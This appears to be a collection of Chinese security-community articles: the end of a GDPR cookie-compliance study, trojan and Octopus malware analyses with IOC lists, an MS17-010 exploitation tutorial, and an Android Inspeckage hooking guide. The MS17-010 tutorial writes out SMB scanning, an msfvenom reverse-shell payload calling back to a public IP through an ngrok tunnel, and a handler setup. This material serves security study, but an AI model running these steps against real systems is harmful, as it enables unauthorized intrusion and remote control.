GDPR 第 13(2)(a) 条要求网站声明个人信息的到期时间。欧盟法院在 Planet49 案件判决中澄清这也适用于 cookie。因此，将观察到的
cookie 的真实到期时间与相应声明的到期时间进行比较。如果真正的到期时间比声明规定的时间长 50%，并且以 1
天作为阈值的最小差异，那么认为它是潜在的违规行为。此外还会识别所有声明为会话 cookie 的持久性 cookie，反之亦然。总共有 9.1%
的网站显示至少一个过期时间差异，3.8% 将持久 cookie 声明为会话 cookie，3.1% 将会话 cookie 声明为持久。
### D. 以前方法的扩展
以下两种方法扩展了以前研究中中定义的方法：
**在用户同意之前设置的 Cookie：** ePrivacy 指令第 5(3) 条规定，在用户与 CMP 交互之前，只能创建必要的类型
cookie。通过在不与 cookie 弹窗交互的情况下抓取网站，检查网站是否设置了任何未声明为必要目的的 cookie，发现 69.7%
的受审查网站设置了此类 cookie，因此使用了默示同意。
**尽管有否定的同意，但仍设置了 Cookie：** 使用 Consent O-Matic 浏览器扩展，拒绝所有非必要目的。然后验证 CMP
记录的同意状态确实是否定的，并确定这些网站中的哪些仍然设置了不必要的 cookie。本研究只为 Cookiebot 这样做，对于这个 CMP可以验证是否与
cookie 弹窗进行了交互。对于 9446 个 Cookiebot 域，66.4% 的人设置了至少一个拒绝用途的 cookie。这相当于检查的 29
398 个网站中的 21.3%。然而预计其他 CMP 的行为类似，并且总比率更高。
### E. 总结
下图总结了上述每种类型的潜在违规数量。在上图中展示了数据集中的网站上有多少种不同的违规类型。直方图显示违规次数的中位数为 2，平均值为 2.5。
上图中的前六个条形图代表在以前的工作中尚未探索过的分析方法。本文方法更加精细和直接，因为根据 cookie 弹窗中声明的目的直接检测用户浏览器中创建的
cookie，网站样本量也比大得多。对于未分类和未声明的
cookie，研究认为问题通常源于疏忽而非恶意。原因可能是缺乏执法和网络管理员，他们对法律要求不够熟悉。这可以通过本文中描述的方法来解决。监管机构可以通过自动确定哪些网站违反法律来加强
GDPR 的执行。此外，CookieBlock 和相应的网络爬虫可以通过检测未声明的 cookie 和预测当前未分类 cookie
的用途来帮助网络管理员检查其网站的合规性。
## 0x07 Limitations
**训练数据集可能有偏差：** 训练数据集可能存在偏差有几个原因。首先，仅从使用 CMP 服务并为个别 cookie 指定用途的网站收集
cookie。此类网站使用的 Cookie 可能与一般网站上的 Cookie 不同。其次，爬虫对功能性 cookie
的代表性不足，这导致该类的精度下降。通过更高级的爬虫或手动 cookie
收集，可能会提高分类器性能并消除潜在的偏差。第三，在自动抓取中收集的特征可能与用户浏览网站产生的特征不同。为了解决这个问题，删除了依赖于浏览模式的功能，例如
cookie
更新。但是，如果网站可以将爬虫检测为机器人，则它们可以向爬虫提供与真实用户不同的数据。最后，模型应该保持最新，否则训练数据的有效性可能会过时。通过简化收集训练数据的过程以及训练本身来解决这个问题。
**cookie 删除可能并不总是保护用户：** CookieBlock 在创建 cookie 后删除它们，而不是阻止产生它们的请求。这可能不足以阻止
cookie 实现其目的。很少观察到网站创建和删除的 cookie 比 CookieBlock 处理 cookie 所需的20 毫秒更快。一个示例是
cookie GoogleAdServingTest，它用于记录哪些广告已显示给用户。幸运的是，这样的 cookie 很少见。
**无法阻止在 WebExtension API 中创建 cookie：** 只能在 cookie
已经存储在浏览器中之后才能删除它。理想情况下，本研究鼓励网络浏览器开发人员允许扩展以防止设置 cookie，甚至添加“目的”作为新的 cookie
参数。这个参数也将解决机器学习不精确的限制，但分类器对于引导 web 管理员的 cookie 分类仍然有用。
**不考虑对抗性网站：** 本工具没有解决网站可能会专门更改其 cookie 内容以抵消 CookieBlock 执行 cookie
政策的可能性。例如，对抗性网站可以将 cookie 的名称更改为随机生成的值，使用代理域来更改 cookie 的主机字段，或混淆 cookie
的内容。尽管如此，使用其他不涉及 cookie 的跟踪技术更容易，在这项工作中不考虑这些技术。但是，某些网站（例如使用 CookieBot CMP
的网站）也声明了其他跟踪资源，例如 localStorage 或跟踪像素。因此，可以使用这些替代跟踪方法的分类来扩展
CookieBlock。本文没有这样做，因为这些声明很少见并且需要完全不同的特征工程和分类方法。
## 0x08 Discussion & Conclusions
尽管 GDPR 和 ePrivacy 指令要求，许多网站并未让用户选择收集哪些 cookie。即使从提供选择的网站来看，绝大多数（即
94.7%）至少包含一个潜在的违规行为，从而为这一分析做出了贡献。这种情况不能仅通过新法规（例如计划中的电子隐私法规）来解决，因为主要是执法严重滞后。
使用 CookieBlock 解决这种情况，它在客户端强制执行用户的 cookie 策略。它根据使用 XGBoost 库训练的分类器模型指定的目的来删除
cookie，该模型的性能接近人类专家所达到的性能。与以前的、现已弃用的 P3P 和“Do Not Track”等标准不同，CookieBlock
不依赖于网站的合作。除此之外，扩展和违规检测方法可以为监管机构提供违规检测的自动化程序，并帮助他们强制遵守隐私法规。
在理想情况下，不需要 CookieBlock。未来的隐私法规可能会要求浏览器供应商和万维网联盟扩展带有“purpose” 标志的 cookie
标头作为新属性，这将允许将同意 cookie 的行为集成到浏览器中，以及
cookie弹窗可以过时。如果需要使用该标志，则用户可以获得他们应得的法律隐私保护。本文分类器将有助于引导此更改，因为它可以预测任何未指定的 cookie
的用途。这将有助于网络从现状过渡到具有透明 cookie 声明的未来。在主要浏览器供应商采取行动之前，CookieBlock
可以帮助在任何网站上强制执行用户的 cookie 政策，即使对于欧盟以外的用户也是如此。 | 社区文章 |
# 【木马分析】过期签名“红颜”木马分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**传送门**
[**冒用数字签名的对抗：亟需加强的签名审核** ****](http://bobao.360.cn/learning/detail/3032.html)
上个月在中秋来临之际，360白名单分析组即时发布了冒用数字签名的木马[[分析报告]](http://bobao.360.cn/learning/detail/3032.html)，在持续的跟踪对抗过程中，我们发现该作案团伙不断的对数字签名做各种尝试，并且为了在被感染用户的机器上扎根存活不断改进其木马框架。本文对捕获到的最新木马“红颜”进行分析，这次的重点将放在木马的行为框架上，其主要的流程如下图所示：
图 1 木马行为框架流程图
**一、签名过期的主程序**
在最新捕获的木马样本中，出现了一些具有过期证书的数字签名，木马的主程序就签发了如下签名：
图 2木马文件签发过期证书
可以看出其数字证书的有效期是到2015年5月，导致系统验证数字签名时提示不在有效期。经试验，把系统的时间修改到有效期内，将看到数字签名校验显示正常，可以想象作者试图以此来对抗杀毒软件的检测。
图 3修改系统时间后过期数字签名校验有效
而这个木马主程序运行后，其主要目的是为了加载驱动程序hongyan.sys：
图 4木马主程序释放并加载恶意驱动
**二、运行在内核的恶意驱动**
hongyan.sys实际上也是一个签名过期的程序，其主要作用是对抗杀毒软件并加载恶意模块来配合实现业务功能，经过分析后总结行为如下：
1、添加注册表可信任的根证书颁发者，伪造可信证书，这将使那些用这个伪造证书签发的恶意程序其数字签名被验证为有效签名：
图 5添加根证书颁发者伪造可信证书
2、注册系统关机回调，回写注册表，实现开机自启：
图 6注册关机回调实现开机启动
3、注册映像加载回调，通过修改入口点的方式，阻止安全软件驱动的加载：
图 7注册映像加载回调修改安全驱动的入口点
修改安全软件的驱动入口点代码直接返回0xc0000001，使其加载失败：
图 8修改安全驱动入口点返回错误代码
4、过滤IE浏览器和主流安全软件的进程，阻止其加载安全软件的DLL文件：
图 9过滤安全软件进程加载安全模块
安全软件DLL列表如下：
图 10被木马针对过滤的安全模块
5、屏蔽360浏览器，恶意阻止其访问网址导航：
图 11恶意屏蔽360浏览器导航
6、从驱动中释放业务功能模块WinCver.dll到SystemRoot目录下，并注入到Winlogon.exe中运行：
图 12释放并注入业务功能模块
7、接收并处理WinCver.dll从应用层传递到内核层的控制命令，完成指定的特殊功能，如通过TDI联网下载等：
图 13处理应用层的控制命令
**三、业务功能模块**
WinCver.dll在注入系统进程后开始工作，主要为了配合驱动程序完成下面一些功能：
1、枚举系统根证书库，检查是否包含VeriSign颁发的证书，确保签名可以被验证：
图 14检查系统证书库
2、连接上述驱动创建的一个tdi设备，成功后执行工作线程：
图 15连接tdi设备
3、工作线程分别创建4个线程用于完成主要业务功能：
图 16创建4个工作线程
第一个线程，联网读取一份url的列表，后面在进行网络劫持的时候将此作为白名单：
图 17网络劫持白名单
第二个线程，联网获取最新的驱动程序，并发送控制指令给驱动程序进行更新操作：
图 18更新驱动的云控地址
第三个线程，联网下载一个远程木马，并加载到一个svchost傀儡进程进行软件推广或者远控等活动：
图 19傀儡进程加载远程木马
以下为该远程木马在用户电脑上强行安装过的一些推广软件：
图 20强行安装的推广软件
第四个线程则是为了盈利而进行的用户统计，调用IE浏览器访问统计接口：
图 21统计盈利
这四个工作线程运行后，紧接着就进入劫持网络的循环中，此循环每隔一段时间就更新一次需要劫持的url列表，用户系统的每个网络连接请求都将根据这份列表决定是否劫持到其他连接：
图 22劫持导航连接
这里会把用户电脑访问的所有主流网址导航，都劫持到[http://hao.yqhdsl.com/index.html](http://hao.yqhdsl.com/index.html)地址，而此地址将重定向到带有其推广渠道号的2345导航链接：[https://www.2345.com/?35561](https://www.2345.com/?35561)，从而增加盈利。
4、上面的工作线程大部分为劫持网络做了准备，而实际进行劫持网络的地方是以下回调函数，系统所有流量经TDI传递到本模块进行过滤，并将篡改后的网络流量返回给用户：
图 23网络劫持回调
**四、杀毒软件的查杀**
由于木马程序使用了过期签名尝试躲避杀毒软件的检测，并通过加载驱动程序修改系统根证书信任区，以及在注入系统进程后还不忘检查系统证书库，这一系列动作的目的都是为了利用数字签名来躲避杀毒软件的查杀。以下是木马作者近期频繁利用过的一些签名：
图 24签名利用实例
虽然该木马作者煞费苦心，并且持续更新所使用的技术框架，最终通过劫持用户电脑的网络或进行流氓推广等方式实现盈利，但360杀毒依然第一时间进行了查杀。
图 25VirusTotal查杀结果 | 社区文章 |
本文翻译自：<https://securelist.com/octopus-infested-seas-of-central-asia/88200/>
* * *
2018年4月，研究人员发现一个新的Octopus样本，装扮成哈萨克反政府组织的通信软件。恶意软件打包成名为dvkmailer.zip的ZIP文件，时间戳显示为2018年2-3月。
# 技术细节
攻击者利用Kazakhstan（哈萨克斯坦）禁止使用Telegram来推送dropper，作为政治反对派可选的一种通信软件。
‘Telegram messenger’以最简单的方式建立网络模块驻留，并启动模块
研究人员不能确认恶意软件的传播方式，但很明显恶意软件使用了社会工程技术。该攻击单元之前就使用过鱼叉式钓鱼攻击来传播恶意软件。
## Dropper
## Archive contents
## Launcher
在用户交互前，FormCreate()函数中的启动器会检查相同目录中的TelegramApi.dll文件。如果文件存在，启动器就会将网络模块复制到开始菜单目录中（Java.exe），并运行。
右下角的“发送邮件”按钮都没有handler函数
Delphi Visual Component Library
(VCL)程序是基于表单元素的事件处理器。这类程序一般都很大（大概有2.6MB，12000个函数），但所有的代码都是用来处理画面部分和运行时库的。但在Octopus启动器中定义了3个控制元素的handler。
但“发送邮件”按钮没有handler，所以当加载器伪装成备选的通信软件时，而事实上并没有通信的功能。这可能是因为恶意软件还没有完成，毕竟发送的消息对攻击者来说还是很有价值的。但研究人员认为恶意软件开发过程可能比较仓促，攻击者决定先跳过通信相关的功能。
## 网络模块
C2通信机制
虽然扩展名是dll，但网络模块其实是一个自满足的可移动可执行文件，而非dll文件。第一个样本检查用户临时目录中名为`1?????????.*`的文件，并将找到的文件删除。然后再恶意软件保持日志的应用数据（Application
Data）目录中创建`.profiles.ini`文件。
检查连接和获取c2域名的.php脚本
所有的网络模块都含有硬编码的IP地址，而IP地址都是不同国家的web主机服务。运营者简单地应用了一阶段的.php脚本，脚本会用HTTP
GET请求检查真实的C2服务器域名。
在初始连接检查后，恶意软件会接收到JSON格式的真实C2域名，如下图所示：
然后网络模块会检查硬编码的受害者id，如下图所示：
网络模块会检查32个字母（数字）的硬编码的受害者id，并通过HTTP
POST请求将收集的数据发送到C2服务器。从编程的角度看，该id很奇怪，因为恶意软件同时用系统数据的MD5哈希值对受害者计算指纹。
将收集的JSON格式的数据以HTTP POST base64编码请求发送
所有与C2的通信都是基于JSON格式和HTTP协议的。开发者使用Indy Project
(indyproject.org)公开的库和第三方urboPower Abbrevia
(sourceforge.net/projects/tpabbrevia)进行压缩。
在初始HTTP GET请求后，恶意软件会开始收集JSON格式的系统数据。网络模块会保存磁盘名和大小、计算机名和用户名、Windows目录、host
IP等。其中有一个域vr的值是2.0，应该是通信协议中编码的恶意软件版本。
Id域保存的是恶意软件用Windows Management Instrumentation机制制作的受害者指纹，木马会以以下参数运行WMIC.exe：
C:\WINDOWS\system32\wbem\WMIC.exe computersystem get Name /format:list
C:\WINDOWS\system32\wbem\WMIC.exe os get installdate /format:list
C:\WINDOWS\system32\wbem\WMIC.exe path CIM_LogicalDiskBasedOnPartition get Antecedent,Dependent
然后模块会将收集的ids连接起来来计算MD5哈希值，这就是受害者的最终`id`。`act`域表示通信的阶段，之后HTTP POST控制服务器会返回`JSON
{“rt”:”30″}`，客户端会在HTTP POST中继续下一个`act`：
C2会发送一个JSON格式的命令来执行，包括上传和下载文件、截屏、找出`*.rar`格式的文件。
# 其他恶意软件
除了木马本身外，Octopus开发者还使用密码复制工具[fgdump](http://foofus.net/goons/fizzgig/fgdump/)。
**IOC**
文件哈希
87126c8489baa8096c6f30456f5bef5e
ee3c829e7c773b4f94b700902ea3223c
38f30749a87dcbf156689300737a094e
6e85996c021d55328322ce8e93b31088
7c0050a3e7aa3172392dcbab3bb92566
2bf2f63c927616527a693edf31ecebea
d9ad277eb23b6268465edb3f68b12cb2
域名和IP
85.93.31.141
104.223.20.136
5.8.88.87
103.208.86.237
185.106.120.240
204.145.94.101
5.188.231.101
103.208.86.238
185.106.120.27
204.145.94.10
hovnanflovers.com
latecafe.in
certificatesshop.com
blondehairman.com
porenticofacts.com
上传和下载文件的URL:
www.fayloobmennik.net/files/save_new.html
http://uploadsforyou.com/download/
http://uploadsforyou.com/remove/
保存一阶段.php脚本的位置：
148.251.185.168
185.106.120.46
185.106.120.47
46.249.52.244
5.255.71.84
5.255.71.85
88.198.204.196
92.63.88.142
返回.php脚本的域名：
giftfromspace.com
mikohanzer.website
humorpics.download
desperados20.es
prom3.biz.ua | 社区文章 |
### 0x00 前言
本文主要介绍一下MSF模块的下载、使用，以及当攻击机处于内网，而目标机也处于内网的解决方法。这里借助MS17-010漏洞来具体讲解一下，并没有新的知识点，可以为刚入门的新手抛砖引玉，提供一条解决问题的思路，同时也记录一下过程，加强记忆。
主要分为两个知识点，一是SMB漏洞的批量检测，二是内网穿透技术。
首先是环境的搭建，具体如下表所示：
主机 | IP | 备注
---|---|---
Kali 64位 | 192.168.232.134 | 攻击机
Windows XP 32位 | 192.168.232.128 | 安装了python2.6，下载有方程式利用工具包（主要为Windows目录下的工具）
Window2008 R2 64位 | 10.50.2.62 | 靶机，存在MS17-010漏洞，并可以访问外网
### 0x01 SMB漏洞批量检测
#### 1.扫描脚本的下载和加载
由于Metasploit还没有更新MS17-010检测的模块，所以要去exploit-db下载，并在MSF中加载。
root@kali:~# cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb
root@kali:/usr/share/metasploit-framework/modules/auxiliary/scanner/smb# wget https://www.exploit-db.com/download/41891 -O smb_ms_17_010.rb
启动Metasploit，模块会自动加载，或者使用命令`reload_all`重新加载所有模块。
#### 2.漏洞扫描的使用方法
选择使用smb_ms_17_010模块，并查看使用命令。
msf > use auxiliary/scanner/smb/smb_ms_17_010
msf auxiliary(smb_ms_17_010) > show options
所必须的参数有三个，对于无需登录的SMB，我们只需设置一下扫描的IP段、线程并运行即可开始扫描。
msf auxiliary(smb_ms_17_010) > set RHOSTS 10.50.2.1-255
RHOSTS => 10.50.2.1-255
msf auxiliary(smb_ms_17_010) > set THREADS 10
THREADS => 10
msf auxiliary(smb_ms_17_010) > run
出现黄色警告的表示可能存在，需要进一步验证。
为了方便将存在漏洞的IP列出来，写了一个简单的Python脚本。
import re
if __name__ == '__main__':
f = open("smb.txt", mode='r', buffering=1)
while(True):
line = f.readline()
if line :
if "likely" in line:
print line.split(' ')[1].split(':')[0]
else:
break
提取出的IP如下所示：
.....
10.50.2.52
10.50.2.62
10.50.2.65
10.50.2.61
10.50.2.63
10.50.2.64
10.50.2.76
10.50.2.69
10.50.2.77
10.50.2.78
10.50.2.79
....
有了存在漏洞的地址，接下来将开始对其进行验证，以10.50.2.62为例。
由于Kali在虚拟机，宿主机IP为2.0. _._ ，目标机在10.50.2.*。相当于需要从内网到另一个内网，
选择采用了ngrok进行tcp的端口转发来实现内网的穿透。
### 0x02 内网穿透
这里采用了www.ngrok.cc平台进行演示，类似这样的平台有很多，例如natapp.cn等。
注册并开通隧道，如图所示。
下载对应的客户端，下载地址为：<https://www.ngrok.cc/#down-client> ，选择与系统对应的软件。
我这里Kali为64位的，下载和使用命令如下：
root@kali:~/Downloads# wget hls.ctopus.com/sunny/linux_amd64.zip
root@kali:~/Downloads# unzip linux_amd64.zip
root@kali:~/Downloads# cd linux_amd64/
root@kali:~/Downloads/linux_amd64# ls
root@kali:~/Downloads/linux_amd64# ./sunny clientid 隧道ID
出现下图的界面表示运行成功。
使用如下命令生成用于监听的dll文件。监听的IP为server.ngrok.cc的地址，端口为开通隧道时填写的远程端口。
root@kali:~/Documents# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=6266 -f dll > got.dll
然后在Kali上设置监听本机的IP和端口，也就是在开通隧道时填写的本地端口。
use exploit/multi/handler
set LHOST 192.168.232.134
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > exploit
由于关于Eternalblue利用方法有很多教程了，这里就不详细说明了，如图所示。
攻击成功时查看ngrok客户端发现有一个连接。
而且Kali上也生成了一个meterpreter会话。
之后的操作就很简单了，可以添加用户等等。
最后远程登录成功如下图所示。
使用natapp也是可以的。
### 0x03 总结
本文主要以MS17-010为例，讲解了如何下载和利用Metasploit中没有的模块，以及如何解决内网到内网的穿透的问题，当然解决的方法还有很多，这里就不再介绍了。
> 没有什么新的知识，怕忘记所以记录一下~~
### 0x04 参考
[1]<https://www.exploit-db.com/exploits/41891/>
[2]<http://bobao.360.cn/learning/detail/3041.html> | 社区文章 |
# 【系列分享】安卓Hacking Part 24：利用Inspeckage进行自动分析
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/android-hacking-and-security-part-24-automated-analysis-with-inspeckage/#article>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**概述**
在本系列的前一篇文章中，我们讨论了如何使用AndBug来“钩住”给定Android应用程序中的类和方法。在本文中，我们将讨论另一个非常有用的实用程序Inspeckage。Inspeckage是一个Xposed模块，可用于Android应用程序的动态分析。无论是在恶意软件分析方面，还是在渗透测试领域，Inspeckage都具有突出的特点，因此该软件的前途将一片光明。Inspeckage还带有一个内置的网络服务器，可以使用简洁优美的GUI来执行所有操作。
**配置Inspeckage**
如果您以前已经使用过Xposed Framework的话，那么对您来说Inspeckage的设置将易如反掌。
1\. 在已经取得root权限的设备上下载并安装Xposed Framework。
2\. 接下来，启动Xposed应用程序，如下图所示。
3\. 点击Modules按钮，这里应该什么都没有，因为我们还没有安装任何模块。
4\. 现在，我们可以从下面链接下载安装Inspeckage模块了。
<http://repo.xposed.info/module/mobi.acpm.inspeckage>
另一种方法是使用Xposed App的下载选项并搜索Inspeckage，如下所示。
我们可以点击这个模块，这时将会看到以下窗口。
点击“Download”按钮，如果下载成功则出现“Install”按钮，如下图所示。
点击“Install”按钮，安装应用程序。您需要接受Inspeckage在此过程中请求的权限。
上图表明Inspeckage已成功安装。
5\. 现在，导航到Xposed应用程序，然后再次单击Modules，您应该看到刚才安装的新模块，具体如下图所示。
选中上图右侧的复选框，执行软重启，使更改生效。为此，我们可以导航到Xposed中的Framework功能，并点击Soft
Reboot按钮来完成，如下图所示。
重新启动后，点击Xposed模块中的Inspeckage模块，您将看到以下窗口。在这里，我们可以看到设备上安装的应用程序列表。
我们也可以选择待分析的应用程序。我选择了一个名为“Secure Store”的应用程序，这是我专门创建的一个易受攻击的应用程序。
单击“Launch
App”并浏览应用程序的全部功能。在运行目标应用程序时，Inspeckage将监视应用程序执行的各种调用。我们还可以通过指定类名和方法名来钩住方法，然后观察传递的参数及返回值。这方面的内容，我们将在本文后面部分进行具体介绍。
此外，上述窗口中还有一些地址，它们可用于访问用户界面，具体如下图所示。
访问用户界面时我们会发现，这里有许多不同的部分，具体如上图所示。在本文的下面几节中，我们会针对上面标出的那些部分展开详细的介绍。
我们可以看到与应用程序有关的基本信息，其中包括备份属性，包名称和数据目录位置。有趣的是，点击“Tree
View”按钮可以了解应用程序的应用程序目录中有什么文件可用，如下图所示。
接下来，点击“Package
information”部分将会显示应用程序使用的组件清单。在本例中，我们有一个导出activity和三个非导出activity。我们也可以使用“Start
Activity”功能强制启动activity。
另外，我们还可以看到应用程序当前使用的权限，如下图所示。
接下来，让我们转到SQLite部分。它能够显示应用程序是否执行了SQLite查询，如下图所示。
如果有可用的提供者的话，我们也可以使用“Query Provider”功能来查询内容提供者。
做了标记的下一部分是“Shared
Preferences”。Inspeckage会分别显示读调用和写调用。下图表明应用程序使用共享首选项在“userdata.xml”文件中存储“auth
token”。
之后，应用程序会读取前面存储的令牌，这可以从下图中标记为27的条目中看到。
接下来，我们来考察WebView部分。Inspeckage还发现，目标应用程序正在使用WebView
addJavaScriptInterface，它的作用是充当JavaScript与Java交互的桥梁。
如果应用程序的API级别小于17，则可以利用这个远程代码来执行漏洞。
**
**
**添加钩子**
我们跳转到+ Hooks标签。这是一个非常有趣的部分，因为我们可以给特定的方法添加钩子，从而监视这个方法运行时会发生什么。
我们在应用程序中两个不同方法添加了钩子，并观察Inspeckage是如何进行处理的。
**
**
**情形1**
我们可以通过逆向应用程序来得到类名和方法名。在浏览此应用程序的源代码时，我们发现“isUserAlreadyLoggedIn”是一个看起来很有趣的方法。让我们添加一个钩子，如下图所示。
我们指定了类名和方法名。如果你也想“钩住”构造函数，你就可以这样做。
现在运行应用程序，当应用程序调用此方法时，您应该会看到相应的参数和返回值，具体如下图所示。
您可以看到，该方法返回“false”，但是它没有参数。
**
**
**情形2**
现在，我们来考察带有方法参数的例子。让我们删除现有的钩子，并添加一个新的钩子，如下所示（你可以同时拥有多个钩子）。这里“isLoggedIn”是方法名称，请注意，类名也不同。
一旦完成上述操作，我们需要再次运行应用程序，这样就应该能够看到参数以及返回值了。
上图显示了传递给hooked方法的参数。我们也注意到有一个返回值为“true”。
**小结**
毫无疑问,在Android应用程序的动态分析方面，Inspeckage模块是非常有用的。如果您正在分析恶意软件或进行渗透测试的话，Inspeckage能够帮您显著提高工作效率。作为Xposed模块，Inspeckage执行检查的方式绝对算得上强大和可靠的，因为它能够被分析的设备和目标应用程序的完全控制。
传送门
[](http://bobao.360.cn/learning/detail/122.html)
* * *
[安卓 Hacking Part 1：应用组件攻防（连载）](http://bobao.360.cn/learning/detail/122.html)
[安卓 Hacking Part 2：Content
Provider攻防（连载）](http://bobao.360.cn/learning/detail/127.html)
[安卓 Hacking Part 3：Broadcast
Receivers攻防（连载）](http://bobao.360.cn/learning/detail/126.html)
[安卓 Hacking Part
4：非预期的信息泄露（边信道信息泄露）](http://bobao.360.cn/learning/detail/133.html)
[安卓 Hacking Part
5：使用JDB调试Java应用](http://bobao.360.cn/learning/detail/138.html)
[安卓 Hacking Part 6：调试Android应用](http://bobao.360.cn/learning/detail/140.html)
[安卓 Hacking Part 7：攻击WebView](http://bobao.360.cn/learning/detail/142.html)
[安卓 Hacking Part 8：Root的检测和绕过](http://bobao.360.cn/learning/detail/144.html)
[安卓 Hacking Part 9：不安全的本地存储：Shared
Preferences](http://bobao.360.cn/learning/detail/150.html)
[安卓 Hacking Part 10：不安全的本地存储](http://bobao.360.cn/learning/detail/152.html)
[安卓 Hacking Part
11：使用Introspy进行黑盒测试](http://bobao.360.cn/learning/detail/154.html)
[安卓 Hacking Part 12：使用第三方库加固Shared
Preferences](http://bobao.360.cn/learning/detail/156.html)
[安卓 Hacking Part
13：使用Drozer进行安全测试](http://bobao.360.cn/learning/detail/158.html)
[安卓 Hacking Part
14：在没有root的设备上检测并导出app特定的数据](http://bobao.360.cn/learning/detail/161.html)
[安卓 Hacking Part
15：使用备份技术黑掉安卓应用](http://bobao.360.cn/learning/detail/169.html)
[安卓 Hacking Part 16：脆弱的加密](http://bobao.360.cn/learning/detail/174.html)
[安卓 Hacking Part 17：破解Android应用](http://bobao.360.cn/learning/detail/179.html)
[安卓 Hacking Part 18：逆向工程入门篇](http://bobao.360.cn/learning/detail/3648.html)
[**安卓 Hacking Part
19：NoSQL数据库不安全的数据存储**](http://bobao.360.cn/learning/detail/3653.html)
[**安卓 Hacking Part
20：使用GDB在Android模拟器上调试应用程序**](http://bobao.360.cn/learning/detail/3677.html)
[**安卓 Hacking Part 22：基于Cydia
Substrate扩展的Android应用的钩子和补丁技术**](http://bobao.360.cn/learning/detail/3679.html)
[**安卓 Hacking Part
23：基于AndBug的Android应用调试技术**](http://bobao.360.cn/learning/detail/3681.html) | 社区文章 |
Subsets and Splits